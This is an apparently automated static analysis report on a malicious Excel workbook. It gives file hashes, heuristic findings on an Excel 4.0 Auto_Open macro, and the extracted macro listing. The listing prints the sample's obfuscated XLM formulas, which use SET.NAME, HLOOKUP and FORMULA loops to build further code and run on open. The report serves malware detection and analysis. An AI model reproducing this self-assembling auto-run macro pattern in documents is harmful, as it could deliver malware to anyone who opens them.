Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 58afe09c0f4ddd50…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:38:20 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: ab8c0019df82bceab62a1597a719dda8 SHA-1: cd0ed5050ae0c4296b8210d7203ba43559234c2e SHA-256: 58afe09c0f4ddd50cc86ea984ef7d802556be870900d4609b714381d7c8d0eb4
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6399 bytes
SHA-256: b1dbfa1a7d3780b6fbdd2cedbc44ee178ffad3612f743bee14d6f28345bec254
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  hIQo
' 0018     25 LABEL : Cell Value, String Constant - aAIszflBAW len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!I146 
' 0018     20 LABEL : Cell Value, String Constant - Docyd len=0 
' 0018     26 LABEL : Cell Value, String Constant - ESDwrePgQZU len=0 
' 0018     27 LABEL : Cell Value, String Constant - gNwGciRIwuup len=0 
' 0018     24 LABEL : Cell Value, String Constant - gPGlcPAaq len=0 
' 0018     24 LABEL : Cell Value, String Constant - gTaIVGLmX len=0 
' 0018     23 LABEL : Cell Value, String Constant - jUMwavay len=0 
' 0018     22 LABEL : Cell Value, String Constant - kWaJzEh len=0 
' 0018     20 LABEL : Cell Value, String Constant - mRvqI len=0 
' 0018     24 LABEL : Cell Value, String Constant - OycJZYdON len=0 
' 0018     23 LABEL : Cell Value, String Constant - qGwGiEUx len=0 
' 0018     21 LABEL : Cell Value, String Constant - QKPlRp len=0 
' 0018     20 LABEL : Cell Value, String Constant - seTDV len=0 
' 0018     23 LABEL : Cell Value, String Constant - TVFKkSYD len=0 
' 0018     24 LABEL : Cell Value, String Constant - UnaCutDNx len=0 
' 0018     20 LABEL : Cell Value, String Constant - UZcgT len=0 
' 0018     27 LABEL : Cell Value, String Constant - vZaSrMffGHjo len=0 
' 0018     24 LABEL : Cell Value, String Constant - wxpahbbOQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - xvNYFYMcrdin len=0 
' 0018     25 LABEL : Cell Value, String Constant - ZazokbzRbN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  hIQo,I51,"SET.NAME("Docyd",VALUE("0"))",""
'  hIQo,I56,"SET.NAME("ZazokbzRbN",Docyd)",""
'  hIQo,I58,"SET.NAME("qGwGiEUx",Docyd)",""
'  hIQo,I63,"SET.NAME("aAIszflBAW",COUNTA(TVFKkSYD))",""
'  hIQo,I68,"SET.NAME("jUMwavay",COUNTA(UnaCutDNx))",""
'  hIQo,I73,[],""
'  hIQo,I77,"SET.NAME("wxpahbbOQ","")",""
'  hIQo,I79,"ZazokbzRbN",""
'  hIQo,I82,"SET.NAME("seTDV",HLOOKUP("*",TVFKkSYD,ZazokbzRbN,FALSE))",""
'  hIQo,I86,"vZaSrMffGHjo",""
'  hIQo,I90,"SET.NAME("ESDwrePgQZU",Docyd)",""
'  hIQo,I94,[],""
'  hIQo,I97,"ESDwrePgQZU",""
'  hIQo,I99,"QKPlRp",""
'  hIQo,I103,"gTaIVGLmX",""
'  hIQo,I107,"gNwGciRIwuup",""
'  hIQo,I112,"SET.NAME("UZcgT",VALUE(HLOOKUP("*",UnaCutDNx,gNwGciRIwuup,FALSE)))",""
'  hIQo,I115,"kWaJzEh",""
'  hIQo,I119,"wxpahbbOQ",""
'  hIQo,I124,"qGwGiEUx",""
'  hIQo,I126,NEXT(),""
'  hIQo,I130,"OycJZYdON",""
'  hIQo,I132,"SET.NAME("f",INT(T(FORMULA(T(wxpahbbOQ)&"",""&T(OycJZYdON)))))",""
'  hIQo,I136,"xvNYFYMcrdin",""
'  hIQo,I140,NEXT(),""
'  hIQo,I143,RETURN(),""
'  hIQo,I174,"SET.NAME("mRvqI",I51)",""
'  hIQo,I176,"TVFKkSYD",""
'  hIQo,I179,"SET.NAME("UnaCutDNx",R74C14)",""
'  hIQo,I183,"SET.NAME("xvNYFYMcrdin",189)",""
'  hIQo,I185,"SET.NAME("gPGlcPAaq",9)",""
'  hIQo,I188,mRvqI(),""
'  hIQo,I189,HALT(),""